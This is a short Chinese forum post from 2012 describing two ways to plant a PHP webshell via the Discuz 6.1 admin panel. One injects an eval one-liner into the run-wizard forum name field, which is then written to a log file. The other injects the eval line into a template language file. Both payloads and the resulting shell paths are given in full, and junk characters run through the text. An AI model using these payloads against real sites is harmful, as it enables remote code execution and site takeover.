discuz6.1两种方法后台拿shell
9 y" e# `% j' m/ ^% B$ ^0 z好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下5 u+ s7 g ~ l: f/ R+ j# q* l
1:9 I- D( Z. N3 O$ Z$ ]& b% v
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
l+ @* [, d/ n6 ]( x4 gadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
; Z# d0 X S0 ~/ N/ q( d- g<?php eval($_POST[cmd]);?>
3 W6 n: Q. K1 \0 y后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
7 b- S/ l1 Z' X$ |
- S$ J |: v5 k6 z. `% Q$ m, d$ Z0 [) U+ y3 o" O' a) Y, \
2:后台模板管理--默认模板套系--详情
5 L& t, F1 Q0 Z. F! B! rtemplates/default/actions.lang.php* b- N1 a& B( `0 y3 v5 w
jhackj\\');eval($_POST[cmd])?>;//
. P6 n3 Z) n. W/ y \
/ ^ n( k* B9 a2 p1 V6 `利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对